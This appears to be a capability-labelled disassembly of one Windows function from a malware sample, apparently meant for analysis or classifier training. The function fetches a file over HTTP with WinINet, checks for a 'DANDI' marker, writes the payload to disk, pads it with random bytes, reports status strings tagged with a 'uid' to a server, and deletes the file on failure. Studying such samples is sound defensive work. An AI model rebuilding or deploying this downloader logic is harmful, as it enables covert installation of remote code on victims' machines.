Function at 0x4051e0
Capabilities:
Create http request
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x4069ba
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x424
push ebx
push ebp
push esi
push edi
mov edi, ecx
lea eax, [esp + 0x444]
lea ecx, [esp + 0x18]
push eax
mov dword [esp + 0x440], 0
call sub.MFC42.DLL_CString::CString_2
push 0x409a04
lea ecx, [esp + 0x14]
mov byte [esp + 0x440], 1
call sub.MFC42.DLL_CString::CString
push 0
push 0
push 0
push 0
push str.FptD
mov byte [esp + 0x450], 2
xor bl, bl
call dword [sym.imp.WININET.dll_InternetOpenA]
lea ecx, [edi + 0x94]
lea edx, [esp + 0x20]
push ecx
push str.http:__
push edx
mov esi, eax
call sub.MFC42.DLL_operator
push 0x4094c8
push eax
lea eax, [esp + 0x30]
mov byte [esp + 0x444], 3
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x444]
lea edx, [esp + 0x14]
push ecx
push eax
push edx
mov byte [esp + 0x448], 4
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x440], 5
call fcn.00405bc2
lea ecx, [esp + 0x14]
mov byte [esp + 0x43c], 4
call fcn.00405af6
lea ecx, [esp + 0x28]
mov byte [esp + 0x43c], 3
call fcn.00405af6
lea ecx, [esp + 0x20]
mov byte [esp + 0x43c], 2
call fcn.00405af6
mov eax, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x405334
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee3
mov dword [esp + 0x24], eax
jne 0x4054be
lea ecx, [esp + 0x30]
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
mov dword [esp + 0x3c], 0x400
call dword [sym.imp.WININET.dll_InternetGetLastResponseInfoA]
jmp 0x4054be
mov al, byte [esp + 0x448]
test al, al
je 0x405352
lea ecx, [esp + 0x444]
push ecx
lea ecx, [esp + 0x14]
call fcn.00405bc2
jmp 0x405389
lea edx, [esp + 0x444]
lea eax, [esp + 0x20]
push edx
push eax
mov ecx, edi
call fcn.00405550
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x440], 6
call fcn.00405bc2
lea ecx, [esp + 0x20]
mov byte [esp + 0x43c], 2
call fcn.00405af6
mov ecx, dword [esp + 0x10]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x4053bc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x24], eax
jmp 0x4054be
lea edx, [esp + 0x1c]
lea eax, [esp + 0x34]
push edx
push 5
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4054b3
lea ecx, [esp + 0x34]
push str.DANDI
push ecx
mov byte [esp + 0x41], 0
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x405489
lea edx, [esp + 0x1c]
lea eax, [esp + 0x34]
push edx
push 0x400
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405446
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x405446
lea ecx, [esp + 0x2c]
push 0
push ecx
lea edx, [esp + 0x3c]
push eax
push edx
push ebp
call ebx
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x34]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x405414
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
and esi, 0x8000000f
jns 0x40545b
dec esi
or esi, 0xfffffff0
inc esi
lea edx, [edi + 0xac]
lea ecx, [esp + 0x14]
push edx
inc esi
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x2c]
push 0
push eax
push esi
push ecx
push ebp
call ebx
lea ecx, [esp + 0x14]
mov bl, 1
call fcn.00405af6
jmp 0x4054b3
mov eax, dword [edi + 0xac]
lea edx, [esp + 0x34]
push edx
push eax
push str.uid:_s_dvf__s_
push 0x409a00
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, edi
push 0x409a00
call fcn.00404c60
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
jne 0x4054f8
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x10]
mov eax, dword [edi + 0xac]
push ecx
push edx
push eax
push str.uid:_s_dnlff___s__del__d_
push 0x409a00
call sub.MFC42.DLL_CString::Format
add esp, 0x14
mov ecx, edi
push 0x409a00
call fcn.00404c60
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x10]
mov byte [esp + 0x43c], 1
call fcn.00405af6
lea ecx, [esp + 0x18]
mov byte [esp + 0x43c], 0
call fcn.00405af6
lea ecx, [esp + 0x444]
mov dword [esp + 0x43c], 0xffffffff
call fcn.00405af6
mov ecx, dword [esp + 0x434]
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x430
ret 8